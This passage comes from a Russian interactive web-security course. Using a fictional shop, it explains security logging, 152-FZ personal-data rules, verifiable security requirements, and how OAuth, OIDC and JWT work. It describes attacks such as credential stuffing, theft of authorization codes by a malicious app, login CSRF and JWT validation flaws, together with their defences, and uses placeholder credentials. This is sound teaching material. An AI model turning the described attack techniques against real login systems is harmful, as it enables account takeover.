image@sha256:…), а не по плавающему тегу latest. Тянуть пакеты через собственное зеркало-прокси. Регистрировать свои внутренние имена пакетов, чтобы публичный пакет с тем же именем не подменил внутренний (dependency confusion). Автоматически обновлять зависимости (Dependabot, Renovate) — но через обычное ревью и тесты. Минимальные базовые образы — подробнее в , защита конвейера — в .НФТ-SEC-30. Для каждого выпускаемого образа при сборке формируется SBOM в формате CycloneDX и хранится вместе с образом. НФТ-SEC-31. Образы подписываются в CI; кластер не запускает неподписанные образы и образы не из доверенного реестра (проверка при развёртывании). НФТ-SEC-32. Зависимости с известными критическими уязвимостями блокируют сборку; срок устранения критической уязвимости в проде — не более 7 дней.
глава 15 · журналы и боты что записывать, что нельзя и как защитить вход
Самый обидный факт расследования: 48 000 запросов к чужим заказам за одну ночь. Каждый отдельный запрос выглядел нормально. Никто ничего не заметил, потому что никто ничего не записывал в пригодном для поиска виде. В OWASP Top 10:2025 это пункт A09 — сбои журналирования и оповещения.
✅ Что записывать
Входы — успешные и неуспешные; выход; смену пароля, почты, телефона, второго фактора. Отказы в доступе (401, 403, 404 на чужие объекты). Изменения ролей и прав. Действия администраторов и менеджеров (смена цен, возвраты). Выгрузки и массовый просмотр персональных данных. Срабатывания лимитов и проверок на бота. Ошибки проверки подписей и токенов.
⛔ Чего не записывать никогда
Пароли — даже неверные (часто это почти верный пароль или пароль от другого сайта). Токены, cookie сессий, ключи API, секреты из заголовка Authorization. Полный номер карты и тем более код CVV. Коды из SMS. Тела запросов целиком «на всякий случай». Персональные данные — только замаскированными.
Каждая запись отвечает на вопросы когда (время в UTC), кто (идентификатор пользователя или сервиса, не ФИО), откуда (IP, устройство), что (действие и объект), с каким результатом и номер запроса для связи с трассировкой:
{ "ts": "2026-09-14T02:17:44.311Z", "kind": "security", "event": "access_denied",
"actor": "user:u-58812", "ip": "203.0.113.24", "action": "orders.read",
"object": "order:10451", "reason": "not_owner", "http": 404,
"trace_id": "4bf92f3577b34da6a3ce929d0e0e4736" }
Журнал — тоже ценность
В нём идентификаторы, IP, действия людей — это персональные данные. Доступ к журналам — по ролям, с аудитом.
Нельзя тихо исправить
Журналы уходят в отдельное хранилище, куда приложение может только дописывать. Иначе нарушитель первым делом сотрёт следы.
Ввод — не команда
Пишите журналы структурно (JSON). Если склеивать строки, перевод строки во вводе пользователя может создать поддельную запись.
Записывать или нет?
Решено 0 из 0.
Защита входа от перебора и ботов
Вторая дыра, которую нашла Вера: на форме входа нет никаких ограничений. Разберём, от чего защищают разные меры. Включайте меры и смотрите, какие угрозы закрыты и чем за это платит честный покупатель.
Перебор пароля
(brute force) Много попыток угадать пароль одного аккаунта.
Подстановка утёкших пар
(credential stuffing) Пары «почта + пароль», утёкшие с других сайтов, пробуют на вашем — люди повторяют пароли. Каждый аккаунт пробуют один-два раза, поэтому лимит «5 неудач на аккаунт» тут не срабатывает.
Распыление популярного пароля
(password spraying) Один популярный пароль пробуют на тысячах аккаунтов понемногу.
Блокировка чужого аккаунта
Если после 5 неудач аккаунт блокируется надолго, кто угодно может «запереть» Анну, специально ошибаясь её логином. Защита сама становится атакой на доступность.
глава 16 · персональные данные 152-ФЗ, GDPR и что это значит для архитектуры
В среду в «Ботинок» пришло письмо от регулятора, а юрист задал команде вопросы, на которые ни у кого не было ответа. Какие данные Анны мы храним и зачем? Где именно они лежат? Кто имеет к ним доступ? Сможем ли мы их удалить, если она попросит? Это не юридические вопросы — это вопросы к архитектуре.
Что важно знать про 152-ФЗ в 2026 году
📍 Локализация
С 1 июля 2025 года (ч. 5 ст. 18 в редакции закона № 23-ФЗ) запись, систематизация, накопление, хранение, уточнение и извлечение ПДн граждан России допускаются только с использованием баз данных на территории России. Для архитектуры: первичная запись — в российскую базу; зарубежные облачные формы, CRM и аналитика для сбора ПДн — под запретом.
✍ Согласие — отдельным документом
С 1 сентября 2025 года согласие на обработку оформляется отдельно от других документов (нельзя «спрятать» его в оферту). Для системы: хранить факт, дату, версию текста и цели согласия — и уметь его отозвать.
⏱ Утечка: 24 и 72 часа
Об утечке нужно сообщить в Роскомнадзор в течение 24 часов, а о результатах внутреннего расследования — в течение 72 часов. Для системы: журналы и оповещения должны позволять вообще узнать об утечке за это время и понять её масштаб.
💸 Штрафы
С 30 мая 2025 года действуют штрафы за утечки, зависящие от числа пострадавших (для организаций — до 15 млн ₽), а за повторную утечку — оборотный штраф от 1 до 3 % выручки. Это уже не «копейки, проще заплатить».
Пять приёмов, которые должен знать аналитик
+7 9•• •••-•4-17. Для экранов операторов, журналов, копий в тестовые среды.client_7f3a), а таблица соответствия хранится отдельно и под замком. Обратимо для того, у кого есть ключ.Одна и та же запись о заказе Анны — в разных видах. Нажимайте и смотрите, где каждый вид уместен.
Право на удаление: где живёт Анна
Анна пишет: «Удалите мои данные». Удалить строку из таблицы customers — это меньше половины дела. Найдите все места, где у «Ботинка» лежат её данные: нажимайте на каждое место, чтобы увидеть, как удалять там.
глава 17 · требования и ревью как аналитику написать требования безопасности
Итог расследования Вера и Олег оформляют не отчётом «мы молодцы», а изменениями в требованиях и в процессе ревью. Потому что следующую функцию будут делать другие люди — и дыру надо закрыть в процессе, а не в памяти.
Плохое и хорошее требование
Требование безопасности должно быть проверяемым: тестировщик должен суметь написать тест, а ревьюер — ответить «выполнено или нет».
| ❌ Так не пишут | ✅ Так пишут |
|---|---|
| Система должна быть защищённой. | Все внешние взаимодействия — только по TLS 1.2+; HTTP перенаправляется на HTTPS; включён HSTS с max-age ≥ 1 год. |
| Пароли хранятся безопасно. | Пароли хранятся только как хеш Argon2id (память ≥ 19 МиБ, проходов ≥ 2) с уникальной солью; пароли не попадают в журналы ни в каком виде. |
| Пользователь видит только свои заказы. | Метод GET /orders/{id} возвращает заказ, только если order.owner_id = идентификатору из токена либо у пользователя есть роль «менеджер» магазина этого заказа; иначе — 404; событие access_denied пишется в журнал безопасности. |
| Защитить вход от взлома. | Не более 10 неудачных попыток входа на аккаунт за 15 минут; после 3 неудач — проверка на бота; при входе с нового устройства — уведомление на почту; блокировки аккаунта нет. |
| Логировать действия. | Изменение цены пишется в журнал аудита: кто, когда, товар, старая и новая цена, номер запроса; журнал хранится 3 года, приложение не может его изменять. |
| Соблюдать 152-ФЗ. | Для каждого поля с ПДн в модели данных указаны цель, основание обработки и срок хранения; по истечении срока запись обезличивается задачей по расписанию. |
Сценарии злоупотребления
История злоупотребления
Как посторонний пользователь, я хочу подставить в адрес чужой номер заказа,
чтобы увидеть чужие данные доставки.
Критерии приёмки
Дано: Анна вошла, заказ №10451 принадлежит другому покупателю
Когда: Анна запрашивает GET /api/v1/orders/10451
Тогда: ответ 404, тело не содержит данных заказа
И в журнале безопасности событие access_denied, reason = not_owner
И при 50+ таких событиях от одного пользователя за 5 минут — оповещение
Матрица ролей и прав
Главный документ про доступ. Строки — операции, столбцы — роли, в клетках — не только «да / нет», но и условие на объект. Именно условия были пропущены в старых требованиях «Ботинка».
| Операция | Гость | Покупатель | Менеджер магазина | Аналитик | Служба доставки (сервис) |
|---|---|---|---|---|---|
| Смотреть каталог | да | да | да | да | нет |
| Смотреть заказ | нет | только свой | только своего магазина | нет | только оплаченный, только адрес и телефон |
| Отменить заказ | нет | свой, до отправки | своего магазина, с причиной | нет | нет |
| Изменить цену | нет | нет | своего магазина, в рабочее время, скидка ≤ 30 % | нет | нет |
| Отчёт о продажах | нет | нет | по своему магазину | только агрегаты без ПДн | нет |
| Выгрузить клиентов | нет | нет | нет | нет (только через заявку и аудит) | нет |
Чек-лист ревью безопасности архитектуры
Пройдите по списку для любой новой функции. Отмечайте пункты, на которые у команды есть ответ, записанный в документе, а не «ну, наверное, есть».
глава 18 · проверь себя вопросы по расследованию
Решено 0 из 0.
Сортировщик: какой это пункт OWASP Top 10:2025
Решено 0 из 0.
Токен — это пропуск. OAuth — способ выдать пропуск, не отдавая ключей от квартиры. В этом разделе мы разберём, как Анна входит в «Ботинок» и во все его приложения. Что за строка eyJhbGci… летит в каждом запросе. Как API проверяет её за миллисекунду и как её крадут. История одна: «Ботинок» разросся — мобильное приложение, «Бонусы», служба доставки-партнёр, приложение для телевизора. И каждый раз встаёт один вопрос: кто ты и что тебе можно.
зачем это зачем разбираться в OAuth, OIDC и JWT
карта раздела одна история, шестнадцать глав
Главы идут по порядку, каждая опирается на предыдущую. Самое важное — глава 6: там вход разобран по одному HTTP-запросу, и там же код входа крадут. Нажмите на главу, чтобы перейти к ней.
глава 1 · завязка «Войти через…»: кто ты и что тебе можно
Весной у «Ботинка» был один сайт и одна форма входа: логин, пароль, cookie. Всё жило в одном монолите, и всё было просто. К осени появились:
- мобильное приложение — его пишет разработчик Борис;
- программа лояльности «Бонусы» — отдельный сайт на своём адресе;
- служба доставки-партнёр «Мигом». Ей нужны адрес Анны и статус заказа — и больше ничего;
- приложение «Ботинок ТВ» для телевизора, где пароль пультом не наберёшь;
- десяток внутренних сервисов: заказы, оплата, склад. Склад каждую ночь сам сверяет заказы — без всякого пользователя.
Аналитику Олегу дали задачу: «Сделать вход единым и дать партнёру доступ к заказам». Борис предложил быстрое решение: «Заведём „Мигом“ технического пользователя с паролем, пусть ходят в API как обычный покупатель». Специалист по безопасности Вера возразила: «Тогда у партнёра будут права на всё и навсегда. И мы даже не узнаем, какие данные он взял». Весь раздел — о том, как сделать правильно. Начнём с двух слов, которые путают чаще всего.
1. Идентификация
Назваться. «Я — anna@mail.ru». Это ещё ничего не доказывает: назваться Анной может кто угодно.
2. Аутентификация
Доказать. Пароль, код, отпечаток. После неё система уверена, кто перед ней. Ошибка на этом этапе — ответ 401: «не знаю, кто ты».
3. Авторизация
Получить права. «Анне можно смотреть свои заказы, нельзя — чужие». Ошибка здесь — 403: «знаю, кто ты, но нельзя».
Беда, из-за которой придумали OAuth
В конце 2000-х многие сервисы просили у пользователя пароль от его почты. Например, чтобы «найти друзей по адресной книге». Пользователь вводил пароль в чужую форму. Сервис получал полный доступ к почте, навсегда. Он мог читать все письма, отправлять письма от имени пользователя и хранить пароль у себя. Отозвать доступ можно было только сменой пароля — а она ломала все остальные приложения. Эту беду называют антипаттерном «отдай пароль» (password anti-pattern).
Слишком много прав
Партнёру нужен адрес доставки, а он получает всё: историю заказов, карты, смену пароля.
Навсегда
Нет срока действия. Нельзя отозвать доступ одного приложения, не сломав остальные.
Пароль у чужих
Пароль хранится у каждого, кому его дали. Взломали одного партнёра — утёк пароль Анны. А пароль она наверняка использует и в других местах.
Кто в нашей истории и что ему нужно
| Кто | Что ему нужно | Чем решаем | Глава |
|---|---|---|---|
| 👩 Анна в мобильном приложении | Войти один раз и видеть свои заказы | Authorization Code + PKCE, refresh-токен | 6, 7 |
| 🛍 Анна на сайте «Магазин» и 🎁 в «Бонусах» | Не вводить пароль дважды; «Выйти» — выйти везде | OpenID Connect, единый вход (SSO), единый выход | 11, 12 |
| 🚚 Партнёр «Мигом» | Видеть адрес и статус заказа — только с согласия Анны | OAuth со scope address:read | 5 |
| 📺 «Ботинок ТВ» | Войти без клавиатуры | Device Authorization Grant | 9 |
| 🏭 Склад ночью | Читать заказы от своего имени, без пользователя | Client Credentials | 9 |
| 📦 Заказы → 💳 Оплата | Передать дальше «это делает Анна» | Token Exchange | 9, 14 |
| 🌐 Браузерная версия магазина | Не отдать токен вредному скрипту | BFF, HttpOnly-cookie, DPoP | 13 |
X-User-Id — в «Gateway, BFF, mesh».глава 2 · основа сессия или токен: как сайт помнит, что вы вошли
Протокол HTTP ничего не помнит между запросами. Каждый запрос для сервера — как первый. Анна ввела пароль, страница обновилась — и сервер уже не знает, кто перед ним. Значит, после входа браузер должен что-то приносить с каждым запросом. Есть два способа: номерок или пропуск.
Set-Cookie). Браузер сам прикладывает её к каждому следующему запросу на тот же сайт (заголовок Cookie).Как выглядит сессия по проводу
POST /login HTTP/1.1 Host: botinok.ru Content-Type: application/x-www-form-urlencoded username=anna%40mail.ru&password=•••••••• HTTP/1.1 302 Found Location: / Set-Cookie: __Host-sid=q8ZtXv2Lw0…4f; Path=/; Secure; HttpOnly; SameSite=Lax; Max-Age=1800 ── следующий запрос ── GET /orders HTTP/1.1 Host: botinok.ru Cookie: __Host-sid=q8ZtXv2Lw0…4f ── на сервере, таблица сессий ── q8ZtXv2Lw0…4f → пользователь u-7f3a91 (Анна), вошла 12:00, активна 12:14
document.cookie. Вредный скрипт (XSS — внедрённый в страницу чужой код) не унесёт номер сессии.http:// её не подсмотрят.Strict — никогда. Lax — только при обычном переходе по ссылке (GET), но не для форм и фоновых запросов с чужих сайтов. None — всегда (и тогда браузер требует Secure). Защищает от подделки межсайтовых запросов (CSRF). Указывайте явно: поведение без атрибута у браузеров разное.Secure, Path=/ и нет Domain. Так соседний поддомен не подложит свою cookie с тем же именем.Соберите cookie сами: какие атаки она отобьёт
Включайте атрибуты и пробуйте атаки. Задача — отбить все три атаки и при этом не сломать обычный переход Анны по ссылке из письма.
SameSite=Strict отбивает подделку запроса, но Анна, пришедшая по ссылке из письма, окажется «не вошедшей»: браузер не приложит cookie к переходу с чужого сайта. Поэтому для сессионной cookie обычно выбирают Lax, а опасные действия дополнительно защищают CSRF-токеном — случайным значением в форме, которое злой сайт не знает.С состоянием или без
Нажмите на строку, чтобы раскрыть пояснение.
глава 3 · JWT JWT по косточкам: что за строка «eyJhbGci…»
После входа мобильное приложение Бориса получает токен доступа. В каждом запросе к API он летит в заголовке Authorization: Bearer eyJhbGci…. Разберём эту строку до последнего символа.
- и _, чтобы строка спокойно жила в адресе и заголовке. Это не шифрование: раскодировать может любой, без ключа, за секунду.Декодер и редактор токена
Перед вами токен доступа Анны. Он выпущен сервером авторизации id.botinok.ru в 12:00:00 по Москве и живёт 5 минут. Цвета частей совпадают с цветами панелей ниже. Попробуйте три вещи: исправить права в токене, сдвинуть часы за срок действия и отнести токен не в тот API.
Заголовок header · как проверять
Нагрузка payload · можно править руками
Подпись signature
Куда пришёл токен
Что означает каждое поле
| Поле | Смысл | Пример | Что проверяет API |
|---|---|---|---|
iss | Издатель (issuer): кто выпустил токен | https://id.botinok.ru | Совпадает с нашим сервером авторизации буква в букву |
sub | Субъект (subject): о ком токен. Постоянный внутренний номер, а не email | u-7f3a91 | По нему ищут «свои» заказы |
aud | Адресат (audience): для какого API токен выпущен | orders-api | Содержит именно нас. Иначе токен от чужого сервиса пройдёт к нам |
exp | Срок действия (expiration), секунды с 1970 года | 1790845500 | Сейчас раньше exp (с небольшим допуском на рассинхрон часов) |
nbf | Не раньше (not before) | 1790845200 | Сейчас не раньше nbf |
iat | Когда выпущен (issued at) | 1790845200 | Иногда — «не старше N минут» |
jti | Уникальный номер токена (JWT ID) | b7e1c0d2-… | Для чёрного списка и защиты от повторного предъявления |
scope | Какие права выдала Анна (через пробел) | openid orders:read | Есть ли право на эту операцию (иначе 403) |
client_id | Какому приложению выдан | botinok-mobile | Для журнала и ограничений по клиенту |
cnf | Привязка к ключу клиента (confirmation) | {"jkt":"0ZcO…"} | Что запрос подписан тем же ключом (глава 13) |
Семь полей — iss, exp, aud, sub, client_id, iat, jti — обязательны для токена доступа в формате JWT по стандарту RFC 9068. Там же требование к заголовку: "typ": "at+jwt". По нему API отличает токен доступа от токена личности (id_token) и не примет одно вместо другого.
sub вместо email — хорошая привычка.Как считается подпись: общий секрет или пара ключей
HS256 — общий секрет
HMAC с SHA-256. Один и тот же секрет и подписывает, и проверяет. Значит, каждый, кто умеет проверять, умеет и подделывать. Годится, только когда выпускает и проверяет одна и та же программа.
Из жизни: одна печать на всех отделах. Любой отдел может не только проверить справку, но и выдать свою.
RS256 — пара ключей RSA
Закрытый ключ есть только у сервера авторизации, им подписывают. Открытый ключ публикуют для всех, им проверяют. Проверить может каждый, подделать — никто. Подпись — 256 байт при ключе 2048 бит. RS256 обязан поддерживать каждый, кто следует RFC 9068.
Из жизни: печать хранится у нотариуса. Образец оттиска висит на стене — сверить может любой.
ES256 — эллиптические кривые
Та же идея пары ключей, но на кривой P-256. Подпись короче — 64 байта, токен меньше, подписывать быстрее. Хороший выбор для новых систем, если все библиотеки его понимают.
глава 4 · проверка как API проверяет токен — и как его обманывают
API заказов получил запрос с токеном Анны. У него нет доступа к базе пользователей и нет времени звонить серверу авторизации на каждый запрос. Он должен за доли миллисекунды решить: пускать или нет. Вот порядок проверки. Пропуск любого шага — известная дыра.
// Node.js, библиотека jose: всё, что выше, — в одном вызове
import { createRemoteJWKSet, jwtVerify } from 'jose';
const JWKS = createRemoteJWKSet(new URL('https://id.botinok.ru/.well-known/jwks.json'));
const { payload } = await jwtVerify(token, JWKS, {
issuer: 'https://id.botinok.ru', // iss буква в букву
audience: 'orders-api', // aud содержит нас
algorithms: ['RS256'], // белый список: alg из токена не решает
typ: 'at+jwt', // токен доступа, а не id_token
clockTolerance: 30, // допуск часов — секунды, не часы
});
if (!payload.scope?.split(' ').includes('orders:read')) → 403 insufficient_scope
Где API берёт открытый ключ: JWKS и kid
https://id.botinok.ru/.well-known/jwks.json. Точный адрес указан в описании сервера (поле jwks_uri, глава 11).GET /.well-known/jwks.json HTTP/1.1
Host: id.botinok.ru
HTTP/1.1 200 OK
Cache-Control: max-age=3600
{
"keys": [
{ "kty": "RSA", "kid": "2026-09-B", "use": "sig", "alg": "RS256",
"n": "0vx7agoebGcQSuuPiLJXZptN9nndrQmbXEps2aiAFbWhM78LhWx4…", "e": "AQAB" },
{ "kty": "RSA", "kid": "2026-06-A", "use": "sig", "alg": "RS256",
"n": "xjlCRBqkOQ7jVWN3L1iCmQfVfnXpfk7X1ZjZ6YqvAN4dN1C5M8k…", "e": "AQAB" }
]
}
API скачивает набор один раз и держит в памяти. Приходит токен с незнакомым kid — API один раз перечитывает набор (не чаще раза в несколько минут, иначе злоумышленник завалит сервер токенами с выдуманными kid).
Ротация ключей: как сменить печать, никого не разлогинив
Ключи меняют регулярно (например, раз в квартал) и срочно — если ключ утёк. Пройдите плановую смену по шагам.
Кривой проверяльщик: пять настоящих атак
Слева — настройки проверки в API заказов. Справа — атаки, которые встречаются в отчётах об уязвимостях. Сначала выключите защиту и посмотрите, как атака проходит. Потом включите нужную настройку и повторите. Каждая отбитая атака — балл.
Почему JWT трудно отозвать
Анна потеряла телефон и нажала на сайте «Выйти на всех устройствах». Токен на телефоне подписан и действует ещё 4 минуты. API проверяет его сам, ни у кого не спрашивая, — значит, 4 минуты он будет пропускать. Это цена «без состояния». Что с этим делают:
Короткий срок жизни
Токен доступа живёт 5–15 минут. Отозвать нельзя, но вред ограничен. Долгую жизнь даёт refresh-токен, а его отозвать можно — он проверяется на сервере авторизации (глава 7).
Чёрный список по jti
API сверяет номер токена со списком отозванных, например в Redis. Работает, но это снова состояние и ещё один поход по сети на каждый запрос.
«Всё, что выпущено до…»
Для пользователя хранится отметка «токены, выпущенные раньше 12:07, недействительны». API сравнивает её с iat. Одна запись на пользователя вместо списка всех токенов.
Спросить сервер (introspection)
Для самых опасных операций — сменить карту, вывести деньги — API спрашивает сервер авторизации, жив ли токен. Надёжно, но медленнее. Разберём ниже.
Непрозрачный токен и introspection
2YotnFZFEjr1zCsicMWpAA. Внутри ничего не написано. Что она значит, знает только сервер авторизации — у него есть запись в базе.active и данными о владельце и правах.POST /revoke с параметрами token=…&token_type_hint=refresh_token (RFC 7009). Сервер отвечает 200, даже если токен уже недействителен, — чтобы по ответу нельзя было проверять чужие токены. Отзыв refresh-токена обычно гасит и выданные по нему токены доступа, но только там, где API спрашивает сервер. Для JWT действует правило срока жизни.глава 5 · OAuth ключ для парковщика: зачем нужен OAuth 2.0
Четыре роли
👩 Владелец ресурса
Resource owner. Анна. Её заказы и адрес — это «ресурс». Только она решает, кому дать к ним доступ.
Хозяйка машины.
📱 Клиент
Client. Приложение, которое хочет доступ: мобильное приложение «Ботинка», партнёр «Мигом». «Клиент» здесь — программа, а не человек.
Парковщик.
🔐 Сервер авторизации
Authorization server. id.botinok.ru — например, Keycloak. Проверяет Анну, спрашивает её согласие, выдаёт токены.
Охрана стоянки, которая по звонку хозяйки выдаёт ключ-валет.
📦 Сервер ресурсов
Resource server. API заказов api.botinok.ru. Хранит данные и пускает к ним по токену.
Сама машина: заводится только нужным ключом.
/authorize) — сюда приходит браузер Анны: вход и согласие. Точка выдачи токенов (token endpoint, /token) — сюда клиент обращается напрямую, мимо браузера, за токенами.Публичный и конфиденциальный клиент
| Конфиденциальный | Публичный | |
|---|---|---|
| Примеры | Серверная часть сайта, BFF, сервис склада, сервер партнёра «Мигом» | Мобильное приложение, SPA без бэкенда, «Ботинок ТВ», утилита командной строки |
| Как доказывает, что он — это он | Секрет клиента (client_secret), подписанный своим ключом JWT (private_key_jwt, RFC 7523) или сертификат при взаимном TLS (RFC 8705) | Никак. client_id публичен, его знает любой. Защита — PKCE и точный redirect_uri |
| PKCE | Рекомендуется (RFC 9700) | Обязателен (RFC 9700) |
| Refresh-токен | Можно, клиент подтверждает себя при обмене | Только с ротацией или с привязкой к ключу клиента (RFC 9700) |
client_id, список разрешённых адресов возврата, разрешённые потоки и scope, тип клиента, способ подтверждения. В Keycloak это карточка клиента в админке. Для аналитика это готовая таблица требований (глава 15).Scope и согласие
orders:read address:read. Набор scope придумывает владелец API. Сервер авторизации записывает в токен то, что Анна разрешила и что клиенту вообще можно.Что просит «Мигом»: scope=address:read orders.status:read. Чего не просит: orders:write, payment:read. Даже если бы попросил — сервер авторизации не выдал бы: клиенту «Мигом» при регистрации разрешены только эти два scope.
Экран согласия показывает сервер авторизации на своём адресе. Не «Мигом» и не «Ботинок». Поэтому «Мигом» не может нарисовать фальшивый экран с другим текстом.
Слово «Отозвать» в подписи — не украшение. Анна в любой момент может зайти в профиль и отключить «Мигом». Сервер отзовёт его refresh-токен, и через несколько минут доступ кончится.
redirect_uri: куда вернуть Анну — и почему только точное совпадение
После входа сервер авторизации отправляет браузер Анны обратно в приложение, по адресу возврата (redirect_uri), и дописывает к нему одноразовый код. Кто получит этот адрес — тот получит код. Поэтому сервер сравнивает адрес из запроса со списком зарегистрированных буква в букву. Этого требует RFC 9700; единственное исключение — номер порта на localhost у приложений на компьютере.
У клиента «Ботинок» (сайт) зарегистрирован один адрес: https://botinok.ru/callback. У настольной утилиты «Ботинок CLI» — http://127.0.0.1/callback. Решите, что сделает сервер.
Решено 0 из 0.
https://*.botinok.ru/*» выглядит удобной. Но стоит найти один забытый поддомен (например, старый промосайт на чужом хостинге) или страницу с открытым перенаправлением — и код Анны уедет злоумышленнику. Так случались реальные утечки у крупных компаний.state: защита от подделки входа
От чего защищает. Подделка межсайтового запроса при входе (login CSRF): злоумышленник подсовывает Анне свой код, и Анна незаметно оказывается в его аккаунте. Пройдите атаку по шагам.
nonce в OpenID Connect. Третий — одноразовый state. На практике используют PKCE плюс state: второй к тому же помогает приложению вспомнить, куда вернуть Анну после входа.глава 6 · главный поток Authorization Code + PKCE: вход по одному HTTP-запросу
Анна открывает мобильное приложение «Ботинок» и жмёт «Войти». За две секунды происходит больше десятка запросов между четырьмя участниками. Это основной поток OAuth для всех, где есть человек: мобильных приложений, сайтов, SPA. Разберём каждый запрос.
code_verifier и отправляет на сервер только его отпечаток — code_challenge (хеш SHA-256). При обмене кода на токены приложение предъявляет сам секрет. Сервер хеширует его и сравнивает с отпечатком. Украденный код без секрета бесполезен.Проигрыватель: вход Анны в мобильное приложение
Схема: браузер на телефоне Анны, приложение «Ботинок», сервер авторизации id.botinok.ru, API заказов. Под каждым участником — что он сейчас знает. На каждом шаге — настоящий HTTP-запрос: подсвечены параметры, ниже — что каждый из них значит.
Переключатели меняют сценарий. «😈 Атакующий перехватил code» — на телефоне Анны стоит вредное приложение. Оно зарегистрировало ту же схему адреса ru.botinok.app:, и телефон отдал ссылку с кодом ему. Пройдите три сценария: обычный вход, кражу без PKCE и кражу с PKCE.
code_verifier настоящий: он создаётся случайно при каждом «Новом входе», а code_challenge считается по-честному — SHA-256 и base64url прямо в вашем браузере.Посчитайте PKCE сами
Нажмите «Новый секрет». Посмотрите, как из случайной строки получается отпечаток. Вторая кнопка подставляет пример из самого RFC 7636, приложение B: там отпечаток должен получиться E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM.
Почему всё устроено именно так
Зачем код, а не сразу токен
Всё, что летит через браузер, может осесть в истории, журналах, у расширений. Код одноразовый, живёт меньше минуты (RFC 6749 разрешает максимум 10 минут) и без секрета бесполезен. А токены приходят прямым запросом приложения к серверу — мимо адресной строки.
Зачем вход на чужой странице
Пароль Анна вводит на странице id.botinok.ru, в системном браузере, а не в окне приложения. Приложение пароль не видит. Второй фактор, passkey, защита от перебора — всё в одном месте. RFC 8252 прямо запрещает мобильным приложениям показывать вход во встроенном окне (WebView): такое окно приложение может подсмотреть.
Зачем PKCE, если есть state
state защищает приложение от чужого кода. PKCE защищает сервер от чужого обменщика: код обменяет только тот, кто начал вход. Для публичных клиентов PKCE обязателен (RFC 9700), для конфиденциальных — рекомендован: он закрывает ещё и подмену кода (code injection).
Почему только S256
Есть метод plain, где отпечаток равен самому секрету. Тогда перехвативший первый запрос узнаёт секрет. plain допустим, только если клиент технически не умеет SHA-256. Сегодня умеют все.
https://botinok.ru/app/callback, закреплённые за приложением (App Links в Android, Universal Links в iOS). Такой адрес чужое приложение перехватить не может.глава 7 · обновление refresh-токен и ротация: вор с копией
Токен доступа Анны живёт 5 минут. Если бы после этого приложение снова отправляло её вводить пароль, Анна удалила бы приложение к вечеру. Поэтому вместе с токеном доступа сервер выдал refresh-токен. Приложение незаметно обменивает его на новые токены.
POST /token HTTP/1.1 Host: id.botinok.ru Content-Type: application/x-www-form-urlencoded grant_type=refresh_token&refresh_token=8xLOxBtZp8&client_id=botinok-mobile HTTP/1.1 200 OK Cache-Control: no-store { "access_token": "eyJhbGciOi…", ← новый, ещё 5 минут "token_type": "Bearer", "expires_in": 300, "refresh_token": "Qm9y1sLx7T" } ← НОВЫЙ refresh-токен: старый 8xLOxBtZp8 погашен
Скользящий срок
Refresh-токен действует, пока им пользуются. Например, «30 дней с последнего использования». Анна открывает приложение раз в неделю — и не выходит никогда.
Абсолютный срок
Предел, после которого вход обязателен, как бы часто ни пользовались. Например, 90 дней. Ограничивает ущерб, если токен украли давно и тихо пользуются.
offline_access
В OpenID Connect scope offline_access просит refresh-токен, который работает, даже когда Анна не в приложении. Например, чтобы присылать уведомления о доставке.
Живая модель: вор с копией refresh-токена
Вор скопировал refresh-токен Анны — например, из незашифрованной резервной копии телефона или из журнала, куда его по ошибке записали. Жмите кнопки в любом порядке. Сравните три настройки: без ротации, с ротацией без обнаружения и с ротацией и обнаружением. Или запустите готовый сценарий.
глава 8 · калькулятор сколько жить токену: ущерб против нагрузки
Олегу надо записать в требования срок жизни токена доступа. Разработчики просят сутки: «меньше запросов, меньше хлопот». Вера просит минуту: «украдут — пусть сразу протухнет». Правы оба, и это обмен одного на другое. Подвигайте ползунки.
обновлений/с = пользователей ÷ срок в секундах. «Окно для вора» — сколько украденный токен доступа ещё работает после того, как кражу заметили и токен отозвали. Для JWT это весь остаток срока, для проверки на сервере — ноль, для кеша — до 60 секунд. Пороги цвета на шкале нагрузки условные: сколько выдержит ваш сервер авторизации, покажет нагрузочное тестирование.Типичные сроки
| Что | Сколько обычно | Почему |
|---|---|---|
| Код авторизации | до минуты; по RFC 6749 — не больше 10 минут | Нужен секунды: от редиректа до обмена |
| Токен доступа | 5–15 минут (в Keycloak по умолчанию 5) | Нельзя отозвать — значит, должен быстро истекать |
| id_token | минуты | Используется один раз, при входе |
| Refresh-токен | часы — недели скользящим сроком, плюс абсолютный предел | Отзывается на сервере, защищён ротацией |
| Сессия SSO на сервере авторизации | в Keycloak по умолчанию 30 минут бездействия и не больше 10 часов | Сколько можно входить в новые приложения без пароля |
| Токен сервиса (client credentials) | 5–60 минут | Сервис сам получает новый, вход человека не нужен |
глава 9 · потоки другие потоки: без человека, без клавиатуры, по цепочке
Authorization Code + PKCE покрывает всё, где есть человек с браузером. Но в истории «Ботинка» есть склад, который работает ночью сам. Есть телевизор без клавиатуры. И есть сервис заказов, которому надо передать сервису оплаты «это делает Анна». Для каждого случая — свой поток.
Client Credentials: сервис от своего имени
POST /token HTTP/1.1 Host: id.botinok.ru Authorization: Basic d2FyZWhvdXNlLXN5bmM6czNjcjN0 ← base64("warehouse-sync:s3cr3t") Content-Type: application/x-www-form-urlencoded grant_type=client_credentials&scope=orders:read HTTP/1.1 200 OK { "access_token": "eyJhbGciOi…", "token_type": "Bearer", "expires_in": 600 } ← refresh_token нет: он не нужен
scope=*) и один секрет на пять сервисов. Тогда утечка у одного даёт доступ ко всему, и по журналу не понять, кто что делал. Правило: один клиент на один сервис, только нужные scope. Секрет — в хранилище секретов, а не в репозитории. Ещё лучше — ключ вместо секрета (private_key_jwt) или взаимный TLS: тогда секрет даже не передаётся по сети.Device Authorization Grant: вход на телевизоре
POST /device_authorization HTTP/1.1 Host: id.botinok.ru client_id=botinok-tv&scope=openid orders:read HTTP/1.1 200 OK { "device_code": "GmRhmhcxhwAzkoEqiMEg_DnyEysNkuNhszIySk9eS", ← знает только телевизор "user_code": "WDJB-MJHT", ← показать на экране "verification_uri": "https://id.botinok.ru/device", "verification_uri_complete": "https://id.botinok.ru/device?user_code=WDJB-MJHT", ← для QR-кода "expires_in": 1800, "interval": 5 ← спрашивать не чаще раза в 5 с } ── телевизор каждые 5 секунд ── POST /token grant_type=urn:ietf:params:oauth:grant-type:device_code&device_code=GmRhmhcx…&client_id=botinok-tv HTTP/1.1 400 Bad Request { "error": "authorization_pending" } ← Анна ещё не подтвердила; спрашивать дальше { "error": "slow_down" } ← слишком часто: увеличить паузу на 5 секунд { "error": "access_denied" } ← Анна нажала «Отказать» { "error": "expired_token" } ← код истёк, начинать заново
Token Exchange: личность по цепочке сервисов
